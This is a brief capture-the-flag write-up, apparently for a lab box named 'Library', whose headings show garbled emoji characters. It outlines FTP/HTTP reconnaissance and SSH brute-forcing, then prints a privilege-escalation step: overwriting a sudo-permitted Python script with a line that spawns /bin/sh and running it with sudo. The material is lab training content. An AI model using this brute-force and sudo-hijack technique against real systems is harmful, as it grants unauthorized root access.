Library
Library
Library
π Reconnaissance & Enumeration
π΅οΈ Letβs check the FTP and HTTP paths:

π» I think we can try brute-forcing SSH. Now we need to find a username:
And we found one:

π΅οΈ User Access & Exploitation
π‘ First, delete the existing bak.py file. Then, create a new one:
1
echo 'import os; os.execl("/bin/sh", "sh")' > bak.py
β‘ Privilege Escalation
1
sudo /usr/bin/python3 /home/meliodas/bak.py
This post is licensed under CC BY 4.0 by the author.

